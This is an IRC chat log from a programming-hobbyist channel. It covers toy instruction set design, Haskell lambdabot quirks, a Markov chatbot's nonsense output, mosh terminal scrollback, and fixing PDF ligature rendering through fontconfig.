00:25:02 <Sgeo> And I tend to be too lazy to walk to the ATM for my bank :/
00:25:17 <b_jonas> Sgeo: exactly, and choosing the bank that has more ATMs take monthly fees
00:25:33 <fizzie> Sgeo: Well, they don't, here.
00:26:28 <fizzie> Or, rather, there's one ATM operator (Otto) that has maybe 90% of the ATMs, and withdrawals from those are free for at least most banks.
00:26:30 <zzo38> Sgeo: In British Columbia however, ATMs for credit unions do not have fees for any credit union in the province, by law.
00:26:59 <zzo38> ATMs for other banks still do sometimes have fees but not if both the ATM and your account are a credit union, even if they are two different ones.
00:27:48 <fizzie> (Not even the restaurants operated by the same company take the same lunch coupons.)
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00:58:01 <Taneb> Are there any cryptocurrencies backed by gold?
01:04:55 <nortti> how would that work? someone is willing to give n units of gold per 1 goldbackcoin?
01:24:19 <fizzie> `run while ! coins 5000 | tr ' ' '\n' | grep gold; do :; done | head -1
01:24:52 <fizzie> It does work, sometimes.
01:24:58 <fizzie> `run while ! coins 5000 | tr ' ' '\n' | grep gold; do :; done | head -1 # TRY AGAIN
01:25:32 <fizzie> (I got abellgoldicoin and goldrivcoin out of it, earlier.)
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01:44:03 <zzo38> Why does playing MP3 files say things like [4:58/2:20] as the time? And the seek bar stays at the right side.
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01:52:11 <zzo38> Do you know which instruction sets have a flag-affecting-bit?
02:00:05 <zzo38> Do you like my "cpu16.txt" instruction set? (Now it is updated; all "reserved" instructions are filled in.)
02:07:22 <Taneb> I need to think of more WTNV-esque Computer Science-related statements
02:18:53 <zzo38> Taneb: What does that mean?
02:19:02 <Bike> welcome to night vale?
02:24:50 <zzo38> I have no "call subroutine" instruction, but there is a "push and move immediate" instruction
02:25:07 <zzo38> (which can be used for this purpose)
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04:49:33 <newsham> mov pc, @sp-; mov #1234, pc
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05:24:51 <zzo38> Is it OK if the shortest way to push zero to stack is involving the "load effective address" instruction?
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05:25:24 <zzo38> Is there a version of dc with a arithmetic IF instruction?
05:25:30 <Sgeo> http://www.cbsnews.com/news/darren-sharper-ordered-held-without-bail-amid-sexual-assault-probes/
05:25:31 <Sgeo> You can post bail on rape charges? WHAT?
05:25:31 <Bike> why wouldn't you be able to
05:25:31 <Sgeo> Was under the impression there's a category of offenses which are not bailable, and not sure why rape wouldn't be in there
05:25:34 <Bike> as i understand it's done case by case (in the arraignment) and in fact the default is a right to bail.
05:25:34 <Bike> "18 U.S.C. § 3142(f) provides that only persons who fit into certain categories are subject to detention without bail: persons charged with a crime of violence, an offense for which the maximum sentence is life imprisonment or death, certain drug offenses for which the maximum offense is greater than 10 years, repeat felony offenders, or if the defendant poses a serious risk of flight, obstruction of justice, or witness tampering"
05:25:34 <Bike> so rather than only some crimes being "not bailable" it's that only some crimes admit the possibility of being held without bail.
05:25:34 <Bike> i think they usually only set no bail if it's likely they're gonna run, or if it's likely they're going to do something again while out. football player probably isn't in either category.
05:25:34 <Bike> one time i was at an arraignment where the judge set bail at something silly because they were pissed at the media circus around the guy. kinda funny to watch
05:25:35 <zzo38> newsham: In what instruction set is it?
05:25:37 <zzo38> Do you have to fix the program counter when you are returning from a subroutine?
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05:49:55 <newsham> no particular instruction set..sort of pdp/vax-ish
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05:57:26 <zzo38> newsham: What is it for, then?
05:57:43 <Sgeo> It occurs to me that if I ever have jury duty, I might not find out because my asshat of a dad gave me no way of retrieving the mail
05:58:11 <Sgeo> He won't give me the mail key because he thinks I'll lose it. He promises to check the mail frequently but doesn't
05:58:20 <zzo38> Is it true that you only get jury duty if you vote?
05:58:41 <Sgeo> I have voted in the past.
05:58:50 <Sgeo> But I doubt it's true
06:03:38 <zzo38> Is there any new cards in Pokemon Card for healing opponent's cards?
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06:19:59 <newsham> zzo38: just saying that call/return dont really need special insns if you can access sp.
06:20:33 <newsham> ie: add #8, lr; mov #printf, pc and mov lr, pc
06:20:34 <zzo38> newsham: Yes, although you can't just mov pc; you should instead put the address afterward into stack.
06:20:54 <newsham> or add it when popping the stack.. yes
06:21:38 <zzo38> However then you need two instructions for a call, and one immediate value.
06:21:41 <newsham> sometimes you can reuse/abuse other features, like indexed offset
06:22:15 <zzo38> The instruction set I just made recently, has a "push and move immediate" instruction so that you can save one instruction.
06:22:32 <newsham> does it take less cycles to execute ?
06:22:44 <zzo38> Yes, because it has to read less instructions.
06:22:56 <zzo38> (I think. I don't actually know because I haven't made a hardware implementation.)
06:23:40 <zzo38> Read them from: http://zzo38computer.org/textfile/miscellaneous/cpu16.txt
06:26:19 <zzo38> I did also recently fix a few things in it, and add some examples
06:27:41 <zzo38> What is your opinion of this?
06:27:59 <zzo38> newsham: How would you reuse/abuse indexed offset in that case?
06:30:26 <newsham> if you have hardware for doing something like r9 <- fetch addr + off
06:30:37 <newsham> you can use the same "+ off" hardware to add 8 to the pc
06:31:01 <newsham> ie in x86: lea [addr + 8], eax
06:31:22 <zzo38> OK, I suppose you can do it like that
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07:00:42 * Sgeo abruptly gets hit by DST
07:01:50 <Bike> keep your arms and legs inside the vehicle at all times
07:02:14 * pikhq declares DST to be the single most monstrous thing.
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07:12:42 <zzo38> I don't like DST, although, it is what is used.
07:12:58 <zzo38> In my area it is DST in a few hours.
07:14:39 <kmc> dynamically sized types
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07:35:28 <DTSCode> does anyone know of the location of a compiler for the esolang cheese++?
07:43:33 <zzo38> I don't know of any.
07:44:16 <DTSCode> ill just have to write my own then
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08:29:40 <zzo38> In what programming language will you write it?
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09:04:56 <HackEgo> words ${1---eng-1M --esolangs 20} | sed -re 's/( |$)/coin\1/g'
09:05:43 <zzo38> This pinball game has only five digits in the score display but I already earned over two billion points.
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09:09:38 <zzo38> I now have a high score of 5749128737 points, beating my previous high score of 2663351 points.
09:50:12 <shachaf> @let shachaf'sHighScore = maxBound
09:50:13 <lambdabot> No instance for (Bounded a0) arising from a use of `maxBound'
09:50:13 <lambdabot> The type variable `a0' is ambiguous
09:50:13 <lambdabot> Possible cause: the monomorphism restriction applied to the following:
09:50:13 <lambdabot> shachaf'sHighScore :: a0 (bound at .L.hs:150:1)
09:50:23 <shachaf> thanks monomorphism restriction
09:50:46 <oerjan> int-e: i thought lambdabot had that turned off?
09:51:16 <oerjan> shachaf: you can annotate the type hth
09:51:30 <oerjan> @let shachaf'sHighScore = maxBound :: Integer
09:51:31 <lambdabot> No instance for (Bounded Integer) arising from a use of `maxBound'
09:51:31 <lambdabot> Possible fix: add an instance declaration for (Bounded Integer)
09:51:31 <lambdabot> In the expression: maxBound :: Integer
09:51:31 <lambdabot> In an equation for `shachaf'sHighScore':
09:51:37 <shachaf> yes but then i have to write the variable name twice #scow
09:51:51 <shachaf> the point was to make it polymorphic
09:52:12 <oerjan> @let shachaf'sHighScore = maxBound; shachaf'sHighScore :: Bounded a => a
09:52:43 <oerjan> i suppose that also writes it twice >:)
09:53:05 <shachaf> what was the other solution you had in mind?
09:54:11 <oerjan> i just somehow didn't get that was what you meant by writing it twice.
09:54:33 <oerjan> > shachaf'sHighScore :: Char
09:54:41 <shachaf> @let instance Bounded Integer where maxBound = 100; minBound = 0
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09:55:06 <oerjan> someone is being evil.
09:55:29 <oerjan> next he'll start unsafeCoercing babies.
10:00:41 <shachaf> unsafeCoerce oerjan :: Grownup
10:01:57 <FireFly> Is unsafe coercion a crime?
10:04:12 <shachaf> great, who made is 03:00 all of a sudden
10:15:06 <Bike> taneb you jerk
10:26:15 <quintopia> by which i mean, i agree that it's early and that you are a fool if you haven't already slept
10:29:03 <Jafet> > maxBound :: Integer
10:30:11 <ion> > "maxBound :: Integer"
10:30:43 <fizzie> Is there a way to see the contents of .L.hs?
10:31:33 * ion remembers you can create instances in λbot these days.
10:32:03 <ion> fizzie: http://hackage.haskell.org/package/lambdabot-4.3.0.1/src/State/L.hs
10:35:36 <oerjan> i think he means the @let adjusted version
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10:59:41 <b_jonas> DTSCode: is that cheese++ related to the famous old cheese perlmonks node http://www.perlmonks.com/?node_id=45200 and the cheesy ring?
11:31:28 <fizzie> Bike: "Starting with this version, the octave package now contains experimental graphical user interface (GUI) based on the Qt toolkit." soon it'll be indistinguishable from the 'lab.
11:36:01 <FreeFull> @let instance Bounded Integer where maxBound = succ maxBound; minBound = prec minBound
11:36:02 <lambdabot> `pred' (imported from Prelude), `pre' (imported from Control.Lens)
11:36:07 <FreeFull> @let instance Bounded Integer where maxBound = succ maxBound; minBound = pred minBound
11:36:08 <lambdabot> instance [safe] Bounded Integer -- Defined at .L.hs:154:10
11:36:08 <lambdabot> instance [safe] Bounded Integer -- Defined at .L.hs:158:10
11:36:32 <FreeFull> @let instance Bounded Integer where maxBound = succ maxBound; minBound = pred minBound
11:36:52 <FreeFull> @let shachaf'sHighScore = maxBound; shachaf'sHighScore :: Bounded a => a
11:52:12 <fizzie> Sadly, the Octave GUI does not work. The screen just flashes once, and that's it. :/
11:55:55 <fizzie> http://en.wikipedia.org/wiki/Entropa#Nations_included_in_the_sculpture "Finland is depicted as a wooden floor including a male with a rifle lying down, imagining an elephant, a hippo and a crocodile."
11:56:03 <fizzie> Ah yes, the embodiment of Finland-ness.
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12:02:14 <oerjan> it may still be an improvement over a retarded lion
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13:18:47 <b_jonas> do you like perl? here's a challenge for you: construct a non-empty quine that prints its own source code as an error message => http://www.perlmonks.com/?node_id=1077569
13:19:16 <b_jonas> if you don't like perl, solve the analogous task for python or ruby.
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14:42:24 <Jafet> b_jonas: iteration on perl 5.14 easily gives http://codepad.org/YYYNKjrI/raw.pl
14:44:15 <Jafet> python is even easier: http://codepad.org/aKTOVTHZ
14:45:29 <Jafet> Changing the filename: http://www.perlmonks.org/bare/?node_id=119526
14:46:19 <b_jonas> Jafet: do you wish to post a reply, or should I post instead?
14:47:49 <Jafet> I got a different quine on 5.18, so the one for 5.16 may be different yet
14:48:15 <b_jonas> yeah, I suspected that much, that's why I edited the post to ask for the version number
14:50:05 <Jafet> Now, actually constructing a quine, instead of banging it out with a script, may be harder.
14:50:38 <b_jonas> you are allowed to bang it out with a script
14:54:58 <b_jonas> Jafet: this 269 line long script you posted is interesting
14:55:37 <b_jonas> does it catch up itself using some long literal (whether double-quot or question mark delimited)?
14:55:53 <b_jonas> wait, it's 1182 lines long
14:57:44 <Jafet> I must have pasted the wrong data, it is 1238 lines here.
14:58:14 <b_jonas> Jafet: well, it doesn't seem to be a quine here, it starts to differ somewhere after the thousandth line
14:58:40 <Jafet> Oh, now I see how it catches up.
14:58:52 <Jafet> The last line is "- has too many errors."
14:59:14 <b_jonas> Jafet: I can't see that in the code I downloaded
14:59:38 <b_jonas> but yes, that would have been my second guess
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15:30:21 <fungot> Selected style: oots (Order Of The Stick)
15:30:28 <fizzie> @tell boily ^style oots, just for you
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16:22:37 <FireFly> fungot: how do you feel about Xykon?
16:22:38 <fungot> FireFly: that, as bounty, i presume is a prostitute for me!! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice!
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16:31:50 <fizzie> That's even worse than the Chrono Trigger style.
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16:40:43 <fizzie> Yeah, after generating an exclamation mark and "slice", it's not possible to get out of the loop, thanks to backoff not being implemented.
16:42:15 <fungot> newsham: here, let me down, greenhilt, and i would not be so dismissive of the thing and i can get my butt this morning.
16:42:36 <newsham> fungot: i dont want to hear about your butt this morning or any.
16:42:36 <fungot> newsham: and my soul and nev'r... actually, y'know, the rune over behind xkyon's throne labeled " castle blowing her cover.
16:43:14 <fizzie> fungot: "xkyon". Really?
16:43:15 <fungot> fizzie: master,, in enough detail as you, to seek it out... and this would never have enough to overcome by dr"
16:43:17 <newsham> fungot: who is castle and what do you mean "cover"?
16:43:17 <fungot> newsham: any such secrets or lies might contribute!
16:46:16 <fungot> newsham: by my calculations, taking into account the ambient temperature and our current longitude, i estimate that i have eliminated! we need to break, or simply forget about the laws that exist be enforced. they did the crime, let them do the time, and there, and you, the gods, that makes us all one big evil team here and there, and you, the gods, that makes us all one big evil team here too?
16:47:14 <newsham> fungot: a fie upon you, you devilish fool!
16:47:14 <fungot> newsham: wow, that is such a stupid magic item that can allow any bandit that defeated
16:47:53 <ais523> this has to be an OOtS-related style, doesn't it?
16:48:04 <ais523> also I keep expecting newsham to be a bot
16:48:37 <elliott> news-ham was only a bot because newsham wasn't
16:55:35 <newsham> i'm not a sha256 hash! I'm a free man!
17:02:07 <coppro> fizzie: how up to date is the oots mode?
17:04:50 <fizzie> coppro: It's scraped from http://oots.wikia.com/ so not terribly, and with some gaps. See http://oots.wikia.com/wiki/List_of_Order_of_the_Stick_Comics for details.
17:05:44 <fizzie> It goes up to comic 772 more or less contiguously, but coverage after that is very sporadic.
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17:32:02 <ais523> fizzie: hmm, I wonder if that corresponds to the point in time at which Wikia went downhill
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17:35:10 <fizzie> #772 is from Jan 31, 2011.
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17:37:38 <ais523> NetHackWiki split off from Wikia around October 2010, so that's the right timeframe
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17:38:42 <coppro> where's the non-wikia oots wiki?
17:39:06 <ais523> coppro: not sure whether there is one; they might just have abandoned rather than forking
17:39:29 <coppro> (there must exist one because there is a law that every subject is covered on exactly three wikis: somewhere on wikimedia, a wikia wiki, and one other unaffiliated wiki)
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17:42:18 <fizzie> It seems to be an officially discouraged wiki, but there does not seem to be a replacement.
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18:21:53 <Vorpal> Well that was... interesting. Repairing a slightly broken /var/lib/dpkg/available after a LTS->LTS Ubuntu upgrade
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18:37:46 <b_jonas> coppro: hehe, that's an interesting rule
18:37:59 <b_jonas> coppro: can a stackexchange site count as the third wiki?
18:39:07 <b_jonas> coppro: though I think it doesn't work, because Harry Potter is covered in two different places in wikimedia wikis, namely in en.wikipedia and en.wikibooks
18:39:26 <b_jonas> (and also on wikia and on stackexchange)
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18:42:18 <b_jonas> coppro: as for oots, the non-wikia one is the oots forum actually, though it's really unsuitable from a technical standpoint because it's not searchable
18:42:29 <b_jonas> it does contain lots of documentation about oots still
18:46:44 <int-e> @tell oerjan I thought I had an explicit NoMonomorphismRestriction in L.hs ... but it seems I'm without access to lambdabot this week (I'm traveling, and the ssh keys are at home)
18:47:23 <int-e> (embarrassing :) )
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18:54:09 <coppro> b_jonas: that doesn't count
18:54:40 <coppro> unless you're a moderator :P
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19:02:03 <fizzie> I had a look at the forum, but they didn't seem to collect transcripts there.
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19:06:30 <Vorpal> Wrt the topic: Easter is in April this year I thought?
19:06:39 <Vorpal> So it should be the hares of April, right?
19:07:48 <Vorpal> April 20 says ddg in a browser
19:08:22 <int-e> broken meaning absent, ye.s
19:08:36 <Vorpal> int-e, also I guess it is technically bunnies in English speaking cultures. Unlike us vikings who have easter hares
19:09:32 * int-e realized that touchpad behavior is highly configurable .. no more accidental clicks by tapping, yay.
19:10:05 <fizzie> Gah, I really should figure out some day why my system nowadays decides to open PDF files in Gimp of all things.
19:10:15 <Vorpal> I just turn the touchpad off personally. I prefer the trackpoint. And I avoid computers without either external mouse or trackpoint if possible.
19:10:25 <int-e> though honestly, 'man synaptics' is intimidating.
19:11:05 <int-e> the trackpoint does not match my mousing behaviour ... fast movements for activating windows.
19:11:10 <Vorpal> int-e, I thought there was gsynaptics or some such GTK+ configuration GUI for it?
19:11:35 <Vorpal> ah, I alt-tab generally when on laptops. And use mouse when I can
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19:50:01 <lambdabot> int-e said 1h 3m 16s ago: I thought I had an explicit NoMonomorphismRestriction in L.hs ... but it seems I'm without access to lambdabot this week (I'm traveling, and the ssh keys are at home)
19:51:45 <oerjan> @let fhtagn = return ()
19:51:46 <lambdabot> No instance for (Monad m0) arising from a use of `return'
19:51:46 <lambdabot> The type variable `m0' is ambiguous
19:51:46 <lambdabot> Possible cause: the monomorphism restriction applied to the following:
19:51:46 <lambdabot> fhtagn :: m0 () (bound at .L.hs:150:1)
19:52:42 <lambdabot> No instance for (Show a0) arising from a use of `show'
19:52:42 <lambdabot> The type variable `a0' is ambiguous
19:52:42 <lambdabot> Possible cause: the monomorphism restriction applied to the following:
19:52:42 <lambdabot> fhtagn :: a0 -> String (bound at .L.hs:150:1)
19:53:58 <lambdabot> `Sym.var' (imported from Data.Number.Symbolic),
19:53:58 <lambdabot> `var' (imported from Debug.SimpleReflect),
19:53:58 <lambdabot> `ival' (imported from Data.Number.Interval)
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19:57:44 <oerjan> <Vorpal> So it should be the hares of April, right? <-- there are march hares unrelated to easter too.
19:58:51 <myname> everytime i read "vorpal" i have to think about the goblins
19:59:49 <oerjan> myname: it's from jabberwocky
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20:11:15 <Vorpal> myname, surely you know of Jabberwocky from Alice through the Looking Glass by Lewis Carroll?
20:12:16 <Vorpal> Man, I want to go back and read that book again. I... don't think I have it in English though. I know my parents do, but I don't think I have it...
20:12:45 <oerjan> btw there's a march hare in those books too
20:15:26 <myname> Vorpal: dunno, i think the mane "vorpal kickass'o" is pretty amazing
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20:18:49 <HackEgo> mincanchcoin 6ixcoin lcamoilecodistcoin dermencoin wakcoin stantcoin halloncoin billancoin berivascucoin spitafnfarmacoin fwittcoin bilecoin ampiracoin dogoroofcoin bubrackincoin c-logcoin baalcoin shaccoin paracoin biecoin
20:24:40 * ion pays 5 shaccoin to shachaf
20:28:11 <fizzie> You're giving shaccoins to the source of all shaccoins; how bizarre.
20:32:08 <kmc> fizzie: my work computer also tries to open PDFs with GIMP (when it doesn't open them with pdf.js)
20:32:34 <kmc> I think bilecoin is going places
20:32:43 <kmc> also baalcoin
20:33:25 <Sgeo> baalcoin is probably too easily cloned
20:38:17 <zzo38> Does GIMP support PDF at all?
20:38:56 <kmc> i think so
20:39:06 <fizzie> Yes. Though it's rather unsuitable for reading multi-page files.
20:39:18 <fizzie> It opens a selection dialog where you can import the pages you want, as separate layers.
20:39:27 <kmc> it rasterizes on load, naturally
20:39:39 <fizzie> Right, there's that, too.
20:39:42 <fizzie> http://sprunge.us/eTiN there's probably some sort of a priority mechanism, but I don't know what.
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20:40:08 <fizzie> Also not sure where gimp comes from; it's not in /usr/lib/mime/packages/ which I thought was the general source for /etc/mailcap.
20:41:58 <fizzie> Oh, I guess it also picks up file types from .desktop entries.
20:42:21 <fizzie> Sadly, unlike the /usr/lib/mime/packages/ files, there's no priority numbers.
20:42:58 <fizzie> (/usr/share/applications/gimp.desktop lists http://sprunge.us/ecff)
20:44:58 <Vorpal> <myname> Vorpal: dunno, i think the mane "vorpal kickass'o" is pretty amazing <-- what are you talking about?
20:45:16 <Vorpal> <oerjan> btw there's a march hare in those books too <-- oh you have a good point. it is indeed the march hare, not the easter hare
20:46:50 <Vorpal> fizzie, sure /etc/mailcap is used? I thought it was some files in ~/.config that were used?
20:47:10 <fizzie> I'm not sure at all. I know some software uses /etc/mailcap.
20:47:11 <Vorpal> wine used to overwrite a lot of extensions (like .txt) which annoyed the hell out of me
20:47:28 <Vorpal> I fixed it by removing files from ~/.config/something
20:47:44 <Vorpal> also I found some way to prevent it adding new files, forgot what it was
20:49:15 <fizzie> ~/.local/share/applications/ seems to be part of the file extension association mechansim of XDG.
20:49:17 <Vorpal> Anyone used mosh? The ssh-kind-of-replacement?
20:49:36 <Vorpal> fizzie, that sounds familiar yes
20:49:40 <kmc> Vorpal: yes; I was a developer for a while
20:49:59 <kmc> and i'm using it right now :)
20:50:02 <ais523> I was going to say "I thought it was at least partly developed by #esotericers"
20:50:26 <ais523> I also remember disliking it for no good reason
20:50:29 <Vorpal> kmc, does it have proper scrollback yet?
20:50:50 <Vorpal> What about xterm mouse input thingy for curses programs?
20:51:06 <Vorpal> Those two things didn't work last I tried it, so I just gave up on it back then
20:51:12 <Vorpal> was wondering if it was any better now
20:51:28 <ais523> I take it mosh is recoding the terminal codes, screen-style?
20:51:48 <Vorpal> ais523, pretty sure yes
20:51:52 <kmc> I don't think it does either
20:52:12 <kmc> ais523: yes, it tracks the terminal state on the server side and then runs a state-sync protocol between that and the client
20:52:18 <Vorpal> Well then, then I'm not going to be using mosh for a while
20:53:22 <elliott> you can use another program that handles scrollback
20:53:31 <elliott> or just continue to act smug on IRC
20:53:49 <elliott> e.g. tmux and screen both do scrollback
20:53:50 <kmc> I use screen anyway (which means I have server-side scrollback) and I've basically never tried to use xterm mouse support for anything other than some graphics demos :)
20:54:00 <elliott> as well as programs that handle their own scrollback (less, irssi, ...)
20:54:01 <Vorpal> elliott, I prefer it to be in my actual terminal emulator, but okay. Doesn't solve the mouse input issue though
20:54:05 <ais523> btw, I didn't expect Vorpal to complain about lack of mouse support in a terminal program; it's a legitimate complaint, just didn't expect Vorpal to be the one to make it
20:54:12 <kmc> but if you need these things then yeah you probably can't use mosh
20:54:41 <Vorpal> kmc, need? No. Go crazy without them? yes
20:54:52 <elliott> Vorpal: mosh can't do that
20:55:12 <Vorpal> elliott, sadly that is the case. It is an awesome concept though.
20:55:37 <elliott> if you output 100 screens of output instantly, there is no guarantee you'll even receive all 100.
20:55:41 <elliott> it just wants to sync the current screen state.
20:56:06 <Vorpal> Right, but question is if it could be redesigned to support it. I don't know.
20:56:18 <Vorpal> Anyway the mouse issue could be solved as far as I know.
20:56:21 <elliott> yes! you could send every byte that comes through the terminal, and negate half the point
20:56:27 <kmc> Vorpal: yes it can, there's a github issue about it
20:56:34 <kmc> Vorpal: it's kind of ugly[3~y though
20:56:42 <b_jonas> recent versions of screen do transmit mouse commands (at least some variants of it), though old versions don't
20:56:44 <kmc> I believe the traditional response is "patches welcome"
20:56:52 <Vorpal> kmc, well, duh, terminal control codes are ugly :P
20:57:03 <Vorpal> VT100 is an ugly mess overall
20:57:09 <fizzie> Bah, these things are so complicated. At least the PDF app is now selected, with the aid of xdg-mime.
20:57:22 <kmc> Vorpal: I agree with you, no need for "duh"
20:57:32 <b_jonas> and I'm the opposite, I specifically have a patch to be able to disable terminal mouse support for some programs that want to use it
20:57:41 <Vorpal> kmc, that was not used in a provocative way
20:58:20 <kmc> elliott: I don't think it's impossible to support scrollback; we've talked about a system for sending pages of scrollback to the client on demand
20:58:23 <Vorpal> b_jonas, oh? How does the existance of it bother you? Just shift select in the xfce terminal at least if you want to select text from such a program
20:58:29 <kmc> but it won't be part of the local terminal's native scrollback
20:58:36 <elliott> kmc: it was in reply to Vorpal wanting native scrollback
20:58:48 <kmc> you basically can't do that
20:58:55 <fizzie> Vorpal: You never know when you need to press shift or not.
20:59:18 <elliott> kmc: you could with mosh-terminal
20:59:24 <Vorpal> kmc, hm, why is that? can't you sync up to n (configurable) pages of scrollback? Or doesn't terminals support editing the history?
20:59:29 <elliott> kmc: which links to mosh as its vt implementation
20:59:32 <b_jonas> Vorpal: it helps because I don't have to press shift to select stuff, and also because it lets me mouse click in the terminal window to focus on it (when another window was focused) without issuing a command
20:59:38 <elliott> kmc: actually that's a cool idea.
20:59:50 <b_jonas> Vorpal: I don't use this much these days though
21:00:11 <kmc> Vorpal: I don't think they support history editing
21:00:25 <Vorpal> Yeah I guess that would cause some issues
21:00:26 <b_jonas> the programs where this happens are aptitude and elinks
21:01:02 <b_jonas> but if nethack4 gains mouse support, I might start to use this feature for it
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21:01:16 <Vorpal> b_jonas, I use mouse support in aptitude, heh
21:01:25 <Vorpal> That is about where I use it actually
21:03:52 <Vorpal> kmc, I think wikipedia is a bit confused wrt mosh:
21:03:53 <oerjan> <elliott> e.g. tmux and screen both do scrollback <-- oh hum how do you do that? i've been having to capturing shell command with less just because putty's scrollback stopped working when i started using tmux
21:03:53 <Vorpal> "There is no such thing as scrollback with mosh, even if your terminal window has a scrollbar, it disappears when using mosh,[17] this is trade-off for garbage cleaning: binary output is wiped away for what should make sense: no session lockups because you accidentally did a cat of a binary. You will miss output like this. The best way to mitigate this is currently by using mosh in combination with scre
21:03:55 <b_jonas> well, it's an option I can toggle, so I can still use mouse support in programs where I want to
21:04:04 <elliott> oerjan: I don't know, I don't use them :p
21:04:08 <Vorpal> Scrollback and binary output? Really?
21:04:25 <Vorpal> Not sure they have anything to do with each other
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21:18:56 <oerjan> elliott: ok it was just ^B then PgUp and PgDn work until you press q
21:19:47 <oerjan> or to be precise, it's ^B PgUp etc.
21:21:24 <oerjan> so now i don't need to be so careful with shell output.
21:22:20 <oerjan> (the man page was confusing enough that i had to google for a superuser.com explanation, though :P)
21:23:02 <fizzie> I always just use the copy mode when I want to try screen scrollback.
21:23:34 <oerjan> fizzie: afaiu ^B PgUp is an abbreviation for ^B [ PgUp, where the first part enters copy mode
21:23:50 <fizzie> oerjan: Was this screen or tmux?
21:24:06 <fizzie> Hokay. Screen doesn't seem to have that shortcut.
21:30:11 <Vorpal> Isn't chrome supposed to use one process per tab?
21:30:34 <Vorpal> According to the task manager thing in chrome, some (unrelated) tabs are sharing currently
21:32:04 <fizzie> Oh good, now both evince and zathura have stopped rendering ligatures. This makes reading the C standard so fun.
21:32:19 <fizzie> "For each type quali er in the list, ident is a so-quali ed pointer."
21:32:50 <fizzie> "If the de nition of an object has an alignment speci er, --"
21:33:16 <Vorpal> Maybe you should use gimp to rasterize it instead? ;P
21:33:19 <fizzie> "An alignment attribute shall not be speci ed in a declaration of a typedef, or a bit- eld, --"
21:34:29 <Vorpal> Well, what did you expect?!
21:34:45 <fizzie> To be entirely honest, I expected it to work, since it almost always does.
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21:38:31 <fizzie> (Both viewers render with Poppler, so at least it makes sense for them to share the bug.)
21:40:29 <fizzie> https://bugs.freedesktop.org/show_bug.cgi?id=73291 -- I guess people are looking at it.
21:41:58 <fizzie> (Curious to get this TeXGyre font as a replacement for Times.)
21:46:59 <Vorpal> fizzie, huh? A PDF without the font embedded?
21:47:57 <fizzie> N1570 does not embed "Times".
21:48:26 <fizzie> http://sprunge.us/YRKb
21:52:40 <Vorpal> fizzie, I guess you could install real Times?
21:52:47 <Vorpal> Should probably fix it
21:53:14 <Vorpal> fizzie, probably corefonts
21:53:37 <fizzie> If you mean the Microsoft font, that's Times New Roman, and I've got it installed.
21:53:49 <Vorpal> Oh okay, I thought it included Times too
21:54:39 <Vorpal> elliott, pretty sure Times and Times New Roman are different fonts?
21:54:48 <Vorpal> Otherwise that is rather confusing
21:55:11 <Sgeo> I'm addicted to wathcing Antichamber videos
21:55:17 <Sgeo> Even though it ruins the game experience
21:55:18 <Vorpal> "Times Roman, and its licensees like Adobe and Apple, is the font family used by Linotype. Times New Roman, and its licensees like Microsoft, is licensed from Monotype. Linotype classifies Times Roman as the upright (Roman) font of the Times family."
21:55:26 <Vorpal> Sgeo, have you played the game yet?
21:55:44 <elliott> Vorpal: if talking about the actual typefaces, "Times" is shorthand for "Times New Roman". cf. http://en.wikipedia.org/wiki/Times_Roman
21:55:54 <Sgeo> Vorpal: I've played some of it a while ago but haven't finished it
21:56:06 <b_jonas> elliott: not only. Times can mean the somewhat similar font by Adobe, or other fonts
21:56:20 <fizzie> The PDF is probably talking about the family, though. At least I would think so.
21:56:31 <Sgeo> But yeah, I started watching videos with the full realization that it would spoil the rest of the game
21:56:34 <Vorpal> elliott, so is Times Roman and Times New Roman the same as well?
21:56:39 <Vorpal> Now I'm really confused
21:56:58 <Bike> playing things? sounds hard
21:57:00 <fizzie> Anyway, I'm sure Times New Roman would be a better replacement for "Times" in this PDF than one where all the ligatures are named differently.
21:57:11 <elliott> Vorpal: it's not confusing.
21:57:31 <elliott> http://en.wikipedia.org/wiki/Roman_type
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21:57:43 <elliott> Times New Roman is "the new Roman typeface for the Times"
21:57:55 <elliott> it is understandably often shortened to just Times
21:58:04 <elliott> and your quote explains "Times Roman".
21:58:27 <Vorpal> elliott, so that is then the only difference between Times Roman and Times New Roman? Okay then I get it
22:00:04 <elliott> there is no difference. it's just names.
22:00:18 <elliott> I mean, you can contrast saying "Times Roman" vs. "Times Italic" or something.
22:01:23 -!- ^v has quit (Ping timeout: 252 seconds).
22:02:43 <Vorpal> elliott, huh, guess not:
22:02:46 <Vorpal> "Although Times and Times New Roman are variations on a theme from the Times family, various differences developed between the versions marketed by Linotype and Monotype when the master fonts were transferred from metal to photo and digital media. For example, Linotype has slanted serifs on the capital S, while Monotype's are vertical, and the addition of a serif on the number 5[8] in Linotype's that is
22:02:46 <Vorpal> absent in Monotype's."
22:03:05 <Vorpal> Most of them invisible at normal size and distance though
22:04:01 <Vorpal> "Microsoft's version of Times New Roman licensed from Monotype matches the widths from the Adobe/Linotype version (a PostScript core font by Linotype). It has the lighter capitals that were originally developed for printing German (where all nouns begin with a capital letter). Versions of Times New Roman from Monotype exist which vary from the Linotype metrics (i.e. not the same as the version for Micro
22:04:11 <Vorpal> Okay this is starting to get rather complicated :P
22:05:06 <fizzie> As for why fontconfig prefers TeX Gyre Termes, seems that fonts-texgyre installs a /etc/fonts/conf.d/30-fonts-texgyre-aliases.conf that aliases "Times" to it in such a way that it's preferred over the other, more exhaustive listings.
22:05:24 <Vorpal> fizzie, so I guess locally patch that?
22:05:58 <fizzie> (Mind you, it is supposed to be a "Times" replacement.)
22:08:08 <fizzie> Yay, ligatures. (Changed it with a ~/.config/fontconfig/fonts.conf rule.)
22:09:54 <fizzie> Fontconfig configuration is silly-complicated, though.
22:15:20 <Sgeo> Vorpal: would you happen to know where the Antichamber music is stored?
22:15:35 <Sgeo> I want to listen to the music of a part of the game (that I haven't reached myself)
22:20:08 <Vorpal> Sgeo, just play the game first to avoid spoilers? You will thank yourself for it later
22:20:19 <Sgeo> Vorpal: too late
22:20:41 <fizzie> Antichamber soundtrack is in Spotify, if that helps? (It probably doesn't.)
22:20:44 <Sgeo> At any rate, I think I did get through most of the game before
22:20:50 <fizzie> Amusingly many game soundtracks seem to be there.
22:21:17 <Vorpal> Maybe I should get spotify then? Except I want to listen to it on the go mostly
22:21:19 <fizzie> I've listened to the Super Meat Boy soundtrack from there.
22:21:25 <Vorpal> So that would mean premium or whatever
22:21:46 <fizzie> It's "sorta-free" on mobile these days, except quite limited.
